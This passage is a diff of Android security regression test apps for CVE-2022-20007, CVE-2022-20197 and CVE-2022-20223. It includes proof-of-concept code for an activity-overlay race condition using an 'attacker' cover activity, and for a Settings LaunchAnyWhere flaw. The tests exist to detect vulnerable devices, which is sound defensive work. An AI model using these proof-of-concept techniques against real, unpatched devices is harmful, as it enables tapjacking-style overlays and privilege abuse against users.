this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20007_second; + +import android.app.Activity; +import android.content.Context; +import android.content.SharedPreferences; +import android.os.Bundle; + +public class SecondPocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + } + + @Override + protected void onResume() { + super.onResume(); + setSharedPreferenes(getResources().getInteger(R.integer.fail)); + } + + @Override + protected void onPause() { + super.onPause(); + setSharedPreferenes(getResources().getInteger(R.integer.pass)); + } + + void setSharedPreferenes(int result) { + try { + Context testAppContext = createPackageContext(getString(R.string.testAppPackage), + Context.CONTEXT_IGNORE_SECURITY); + SharedPreferences sh = testAppContext.getSharedPreferences( + getString(R.string.sharedPreferences), Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey2), result); + edit.commit(); + } catch (Exception e) { + // ignore exception here + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp index 713c0ed6500..0633c692d2a 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp @@ -32,6 +32,7 @@ android_test_helper_app { static_libs: [ "androidx.test.core", "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", ], sdk_version: "current", } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml index ea78d62cdb1..c5dd6b5e9ac 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml @@ -17,13 +17,15 @@ <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.security.cts.CVE_2022_20007" + android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid" android:versionCode="1" android:versionName="1.0"> <application android:label="CVE-2022-20007" + android:process="android.security.cts.CVE_2022_20007" android:supportsRtl="true"> <activity - android:name=".PocActivity" + android:name=".FirstPocActivity" android:exported="true"> </activity> <activity diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml index 26b15c29414..bdb37757898 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml @@ -17,6 +17,9 @@ <resources> <integer name="assumptionFailure">-1</integer> - <integer name="pass">0</integer> <integer name="fail">1</integer> + <integer name="pass">0</integer> + <integer name="permitCount">2</integer> + <integer name="threeActivities">3</integer> + <integer name="twoActivities">2</integer> </resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml index 1368bc206a9..e9910b70037 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml @@ -17,14 +17,22 @@ <resources> <string name="assumptionFailureMessage"> - Assumption failure occurred. + Assumption failure occurred. Bounds : </string> + <string name="attackerActivity">PocAttackerActivity</string> + <string name="attackerPkg">android.security.cts.CVE_2022_20007_attacker</string> + <string name="boundsNotEqualMessage">Activity bounds are not equal</string> + <string name="dumpsysCmd">dumpsys activity %1$s</string> <string name="failMessage"> Vulnerable to b/211481342!! Race Condition when startActivities() is invoked which can cause - Not-Paused Background Activity + Not-Paused Background Activity. Bounds : </string> + <string name="mBounds">mBounds</string> <string name="messageKey">message</string> - <string name="passMessage">Pass</string> + <string name="numActivities">numActivities</string> <string name="resultKey">result</string> + <string name="resultKey2">result2</string> + <string name="secondActivity">SecondPocActivity</string> + <string name="secondPocAppPkg">android.security.cts.CVE_2022_20007_second</string> <string name="sharedPreferences">SharedPreferences</string> </resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java index 925da1ce80b..d4828b868b5 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java @@ -17,18 +17,22 @@ package android.security.cts.CVE_2022_20007; import static androidx.test.core.app.ApplicationProvider.getApplicationContext; -import static org.junit.Assert.assertNotEquals; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertFalse; import static org.junit.Assume.assumeNoException; import static org.junit.Assume.assumeNotNull; import static org.junit.Assume.assumeTrue; -import android.content.ActivityNotFoundException; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.OnSharedPreferenceChangeListener; +import android.util.Log; import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; import org.junit.Test; import org.junit.runner.RunWith; @@ -39,6 +43,13 @@ import java.util.concurrent.TimeUnit; @RunWith(AndroidJUnit4.class) public class DeviceTest { private Context mContext = getApplicationContext(); + private UiDevice mDevice = UiDevice.getInstance(getInstrumentation()); + private boolean mIsVulnerable = true; + private boolean mIsVulnerable2 = true; + private String mFirstPocActivityBounds = ""; + private String mSecondPocActivityBounds = ""; + private String mPocAttackerActivityBounds = ""; + private SharedPreferences mSharedPrefs = null; String getStringRes(int key) { return mContext != null ? mContext.getResources().getString(key) : null; @@ -48,44 +59,115 @@ public class DeviceTest { return mContext != null ? mContext.getResources().getInteger(key) : null; } - @Test - public void testRaceCondition() throws Exception { - final long timeoutSec = 20L; - assumeNotNull(mContext); + String getBounds(String activityName) throws Exception { + String output = + mDevice.executeShellCommand(mContext.getString(R.string.dumpsysCmd, activityName)); + output = output.substring(output.indexOf(getStringRes(R.string.mBounds)), + output.indexOf(")", output.indexOf(getStringRes(R.string.mBounds))) + 1); + return output; + } + + void launchMainActivity(int numActivities) { final Intent intent = new Intent(mContext, PocMainActivity.class); - intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY); + intent.putExtra(getStringRes(R.string.numActivities), numActivities); + mContext.startActivity(intent); + } + + void checkResult(String key) { + int result = mSharedPrefs.getInt(key, getIntegerRes(R.integer.assumptionFailure)); + assumeTrue( + getStringRes(R.string.assumptionFailureMessage) + mFirstPocActivityBounds + " " + + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds, + result != getIntegerRes(R.integer.assumptionFailure)); + assertFalse( + getStringRes(R.string.failMessage) + mFirstPocActivityBounds + " " + + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds, + mIsVulnerable && result == getIntegerRes(R.integer.fail)); + } + + @Test + public void testRaceCondition() { + final long timeoutSec = 30L; try { - mContext.startActivity(intent); - } catch (ActivityNotFoundException e) { - assumeNoException(e); - } - SharedPreferences sharedPrefs = mContext.getSharedPreferences( - getStringRes(R.string.sharedPreferences), Context.MODE_APPEND); - assumeNotNull(sharedPrefs); - final Semaphore preferenceChanged = new Semaphore(0); - OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() { - @Override - public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) { - if (key.equals(getStringRes(R.string.resultKey))) { - if (sharedPreferences.getInt(key, - getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes( - R.integer.pass)) { - preferenceChanged.release(); + assumeNotNull(mContext); + launchMainActivity(getIntegerRes(R.integer.twoActivities)); + mSharedPrefs = mContext.getSharedPreferences(getStringRes(R.string.sharedPreferences), + Context.MODE_APPEND); + assumeNotNull(mSharedPrefs); + final Semaphore preferenceChanged = new Semaphore(0); + final Semaphore preferenceChanged2 = new Semaphore(0); + OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() { + @Override + public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, + String key) { + if (key.equals(getStringRes(R.string.resultKey))) { + if (sharedPreferences.getInt(key, + getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes( + R.integer.pass)) { + preferenceChanged.release(); + mIsVulnerable = false; + } + } else if (key.equals(getStringRes(R.string.resultKey2))) { + if (sharedPreferences.getInt(key, + getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes( + R.integer.pass)) { + preferenceChanged2.release(); + mIsVulnerable2 = false; + } } } - } - }; - sharedPrefs.registerOnSharedPreferenceChangeListener(listener); - try { + }; + mSharedPrefs.registerOnSharedPreferenceChangeListener(listener); preferenceChanged.tryAcquire(timeoutSec, TimeUnit.SECONDS); - } catch (InterruptedException e) { + + // Check if attacker activity is able to overlay victim activity + mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName()); + String attackerActivityName = getStringRes(R.string.attackerPkg) + "/." + + getStringRes(R.string.attackerActivity); + mPocAttackerActivityBounds = getBounds(attackerActivityName); + Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds); + Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds); + boolean isValidConfiguration = + mFirstPocActivityBounds.equals(mPocAttackerActivityBounds); + if (isValidConfiguration) { + checkResult(getStringRes(R.string.resultKey)); + } else { + // Device might have 2 task display areas. Detect vulnerability in this case. + mDevice.pressHome(); + assumeTrue(mDevice.wait(Until.gone(By.pkg(mContext.getPackageName())), timeoutSec)); + mIsVulnerable = true; + mIsVulnerable2 = true; + launchMainActivity(getIntegerRes(R.integer.threeActivities)); + preferenceChanged.tryAcquire(getIntegerRes(R.integer.permitCount), timeoutSec, + TimeUnit.SECONDS); + preferenceChanged2.tryAcquire(timeoutSec, TimeUnit.SECONDS); + + // check if attacker activity is able to overlay any of the victim activities + mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName()); + String secondActivityName = getStringRes(R.string.secondPocAppPkg) + "/." + + getStringRes(R.string.secondActivity); + mSecondPocActivityBounds = getBounds(secondActivityName); + mPocAttackerActivityBounds = getBounds(attackerActivityName); + Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds); + Log.e("DeviceTest", "mSecondPocActivityBounds=" + mSecondPocActivityBounds); + Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds); + isValidConfiguration = mFirstPocActivityBounds.equals(mPocAttackerActivityBounds); + boolean isValidConfiguration2 = + mSecondPocActivityBounds.equals(mPocAttackerActivityBounds); + assumeTrue( + getStringRes(R.string.boundsNotEqualMessage) + mFirstPocActivityBounds + " " + + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds, + isValidConfiguration || isValidConfiguration2); + + if (isValidConfiguration) { + checkResult(getStringRes(R.string.resultKey)); + } else { + checkResult(getStringRes(R.string.resultKey2)); + } + } + } catch (Exception e) { assumeNoException(e); } - int result = sharedPrefs.getInt(getStringRes(R.string.resultKey), - getIntegerRes(R.integer.assumptionFailure)); - String message = sharedPrefs.getString(getStringRes(R.string.messageKey), - getStringRes(R.string.assumptionFailureMessage)); - assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure)); - assertNotEquals(message, result, getIntegerRes(R.integer.fail)); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java index 038335e8711..c89986b9eaf 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java @@ -21,29 +21,35 @@ import android.content.Context; import android.content.SharedPreferences; import android.os.Bundle; -public class PocActivity extends Activity { +public class FirstPocActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); - setSharedPreferenes(getResources().getInteger(R.integer.fail), - getString(R.string.failMessage)); + } + + @Override + protected void onResume() { + super.onResume(); + setSharedPreferenes(getResources().getInteger(R.integer.fail)); } @Override protected void onPause() { super.onPause(); - setSharedPreferenes(getResources().getInteger(R.integer.pass), - getString(R.string.passMessage)); + setSharedPreferenes(getResources().getInteger(R.integer.pass)); } - void setSharedPreferenes(int result, String message) { - SharedPreferences sh = - getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE); - SharedPreferences.Editor edit = sh.edit(); - edit.putInt(getString(R.string.resultKey), result); - edit.putString(getString(R.string.messageKey), message); - edit.commit(); + void setSharedPreferenes(int result) { + try { + SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences), + Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey), result); + edit.commit(); + } catch (Exception e) { + // ignore exception here + } } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java index 7a4e841f6fd..94de7f09a60 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java @@ -17,7 +17,6 @@ package android.security.cts.CVE_2022_20007; import android.app.Activity; -import android.content.ActivityNotFoundException; import android.content.ComponentName; import android.content.Context; import android.content.Intent; @@ -30,30 +29,48 @@ public class PocMainActivity extends Activity { protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); - launchAttack(); - } - - public void launchAttack() { - String testPkgName = getPackageName(); - final Intent coverIntent = new Intent(); - coverIntent.setComponent(new ComponentName("android.security.cts.CVE_2022_20007_attacker", - "android.security.cts.CVE_2022_20007_attacker.PocActivity")); - coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | - Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK); - final Intent victimIntent = new Intent(PocMainActivity.this, PocActivity.class); - victimIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); - Intent[] intents = {victimIntent, coverIntent}; try { - startActivities(intents); - } catch (ActivityNotFoundException e) { - SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences), - Context.MODE_PRIVATE); - SharedPreferences.Editor edit = sh.edit(); - edit.putInt(getString(R.string.resultKey), - getResources().getInteger(R.integer.assumptionFailure)); - edit.putString(getString(R.string.messageKey), - getString(R.string.assumptionFailureMessage)); - edit.commit(); + String testPkgName = getPackageName(); + final Intent coverIntent = new Intent(); + coverIntent.setComponent(new ComponentName(getString(R.string.attackerPkg), + getString(R.string.attackerPkg) + "." + getString(R.string.attackerActivity))); + coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NEW_TASK + | Intent.FLAG_ACTIVITY_MULTIPLE_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY); + final Intent victimIntent = new Intent(PocMainActivity.this, FirstPocActivity.class); + victimIntent + .setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY); + int numActivities = getIntent().getIntExtra(getString(R.string.numActivities), + /* default */ getResources().getInteger(R.integer.twoActivities)); + if (numActivities == getResources().getInteger(R.integer.twoActivities)) { + Intent[] intents = {victimIntent, coverIntent}; + startActivities(intents); + } else { + final Intent secondVictimIntent = new Intent(); + secondVictimIntent.setComponent(new ComponentName( + getString(R.string.secondPocAppPkg), getString(R.string.secondPocAppPkg) + + "." + getString(R.string.secondActivity))); + secondVictimIntent.setFlags( + Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY); + startActivity(victimIntent); + + // wait to prevent both the victim activities from getting launched on same display + Thread.sleep(5000); + Intent[] intents2 = {secondVictimIntent, coverIntent}; + startActivities(intents2); + } + } catch (Exception e) { + try { + SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences), + Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey), + getResources().getInteger(R.integer.assumptionFailure)); + edit.putString(getString(R.string.messageKey), + getString(R.string.assumptionFailureMessage)); + edit.commit(); + } catch (Exception ex) { + // ignore exception here + } } } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp new file mode 100644 index 00000000000..582076e2d23 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2022-20197", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.core", + ], + platform_apis: true, +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml new file mode 100644 index 00000000000..3ea2a62f7bc --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml @@ -0,0 +1,24 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.CVE_2022_20197"> + + <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2022_20197" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml new file mode 100644 index 00000000000..c9a9407b3da --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml @@ -0,0 +1,21 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="vulnerableMsg">Device is vulnerable to b/208279300!</string> + <string name="stringObj">CVE_2022_20197</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java new file mode 100644 index 00000000000..a7b56187d47 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java @@ -0,0 +1,49 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2022_20197; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static org.junit.Assert.assertNull; +import static org.junit.Assume.assumeNoException; + +import android.app.PendingIntent; +import android.content.res.Resources; +import android.os.Parcel; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + @Test + public void testParcel() { + try { + Resources resources = getApplicationContext().getResources(); + Parcel parcel = Parcel.obtain(); + Object cookie = (Object) resources.getString(R.string.stringObj); + parcel.setClassCookie(PendingIntent.class, cookie); + parcel.recycle(); + Object value = parcel.getClassCookie(PendingIntent.class); + assertNull(resources.getString(R.string.vulnerableMsg), value); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml index 6257834e8fa..4a250ceda12 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml @@ -15,16 +15,18 @@ limitations under the License. --> <resources> - <string name="appSettingsIconResId">com.android.settings:id/app_restrictions_settings</string> + <string name="allowAppsTextResId">restricted_profile_configure_apps_title</string> + <string name="appSettingsIconResId">%1$s:id/app_restrictions_settings</string> + <string name="customizeRestrictionsTextResId">restricted_profile_customize_restrictions</string> <string name="messageKey">message</string> <string name="resType">string</string> <string name="sharedPreferences">SharedPreferences</string> + <string name="shutdownMsgResId">shutdown_confirm</string> <string name="testFailMsg"> Vulnerable to b/223578534!! LaunchAnyWhere in AppRestrictionsFragment due to unsafe package check </string> <string name="textResId">user_restrictions_title</string> <string name="timedOutMsg">Timed out waiting for text/res %1$s on display</string> - <string name="uriData">tel:555-TEST</string> <string name="userName">CVE_2022_20223_RestrictedUser</string> </resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java index e47e593f31a..92b1df205bf 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java @@ -24,10 +24,10 @@ import static org.junit.Assume.assumeTrue; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; +import android.content.pm.PackageManager; import android.content.res.Resources; import android.os.Bundle; import android.provider.Settings; -import android.telecom.TelecomManager; import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.By; @@ -43,10 +43,11 @@ public class DeviceTest { private static final int TIMEOUT_MS = 20000; private UiDevice mDevice; private Context mContext; + private PackageManager mPackageManager; - private String getDefaultDialerPackage() { - TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class); - return telecomManager.getSystemDialerPackage(); + boolean isTV() { + return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION) + || mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK); } // Wait for UiObject to appear and click on the UiObject if it is visible @@ -63,47 +64,77 @@ public class DeviceTest { try { mDevice = UiDevice.getInstance(getInstrumentation()); mContext = getInstrumentation().getContext(); + mPackageManager = mContext.getPackageManager(); + if (isTV()) { + Intent intent = new Intent(Settings.ACTION_SECURITY_SETTINGS); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); + mContext.startActivity(intent); - Intent intent = new Intent(Settings.ACTION_USER_SETTINGS); - intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); - mContext.startActivity(intent); + // Click on text "Allowed apps" + String settingsPackageName = + intent.resolveActivity(mPackageManager).getPackageName(); + Resources res = mPackageManager.getResourcesForApplication(settingsPackageName); + String text = res.getString( + res.getIdentifier(mContext.getString(R.string.allowAppsTextResId), + mContext.getString(R.string.resType), settingsPackageName)); + BySelector selector = By.text(text); + assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector)); - BySelector selector = By.text(mContext.getString(R.string.userName)); - assumeTrue( - mContext.getString(R.string.timedOutMsg, mContext.getString(R.string.userName)), - clickUiObject(selector)); + // Click on text "Customize restrictions" + text = res.getString(res.getIdentifier( + mContext.getString(R.string.customizeRestrictionsTextResId), + mContext.getString(R.string.resType), settingsPackageName)); + selector = By.text(text); + assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector)); + } else { + Intent intent = new Intent(Settings.ACTION_USER_SETTINGS); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); + mContext.startActivity(intent); - String settingsPackageName = - intent.resolveActivity(mContext.getPackageManager()).getPackageName(); - Context settingsContext = mContext.createPackageContext(settingsPackageName, - Context.CONTEXT_IGNORE_SECURITY); - Resources res = settingsContext.getPackageManager() - .getResourcesForApplication(settingsPackageName); - String text = settingsContext - .getString(res.getIdentifier(mContext.getString(R.string.textResId), - mContext.getString(R.string.resType), settingsPackageName)); - selector = By.text(text); - assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector)); + // Click on text "CVE_2022_20223_RestrictedUser" + BySelector selector = By.text(mContext.getString(R.string.userName)); + assumeTrue(mContext.getString(R.string.timedOutMsg, + mContext.getString(R.string.userName)), clickUiObject(selector)); - selector = By.res(mContext.getString(R.string.appSettingsIconResId)); - assumeTrue( - mContext.getString(R.string.timedOutMsg, - mContext.getString(R.string.appSettingsIconResId)), - clickUiObject(selector)); + // Click on text "App & content access" + String settingsPackageName = + intent.resolveActivity(mPackageManager).getPackageName(); + Resources res = mPackageManager.getResourcesForApplication(settingsPackageName); + String text = + res.getString(res.getIdentifier(mContext.getString(R.string.textResId), + mContext.getString(R.string.resType), settingsPackageName)); + selector = By.text(text); + assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector)); + // Click on icon with resource-id "<settingsPackage>:id/app_restrictions_settings" + selector = By.res( + mContext.getString(R.string.appSettingsIconResId, settingsPackageName)); + assumeTrue( + mContext.getString(R.string.timedOutMsg, mContext + .getString(R.string.appSettingsIconResId, settingsPackageName)), + clickUiObject(selector)); + } + // Check if ShutDown activity is launched indicating presence of vulnerability + String androidPackageName = + PocBroadcastReceiver.getShutdownDefaultComponent(mContext).getPackageName(); + Resources res = mPackageManager.getResourcesForApplication(androidPackageName); + String text = + res.getString(res.getIdentifier(mContext.getString(R.string.shutdownMsgResId), + mContext.getString(R.string.resType), androidPackageName)); assertFalse(mContext.getString(R.string.testFailMsg), - mDevice.wait(Until.hasObject(By.pkg(getDefaultDialerPackage())), TIMEOUT_MS)); + mDevice.wait(Until.hasObject(By.text(text)), TIMEOUT_MS)); } catch (Exception e) { assumeNoException(e); } finally { try { + // Check occurrence of any exception in PocBroadcastReceiver SharedPreferences sharedPrefs = mContext.getSharedPreferences( mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND); String assumptionFailure = sharedPrefs.getString(mContext.getString(R.string.messageKey), null); assumeTrue(assumptionFailure, assumptionFailure == null); } catch (Exception e) { - assumeNoException(e); + // Ignore exceptions here } } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java index c3c7083df18..6df2b9db7fe 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java @@ -26,9 +26,8 @@ import android.os.Bundle; public class PocBroadcastReceiver extends BroadcastReceiver { - ComponentName getPrivilegeCallDefaultComponent(Context context) { - Intent intent = new Intent(Intent.ACTION_CALL_PRIVILEGED); - 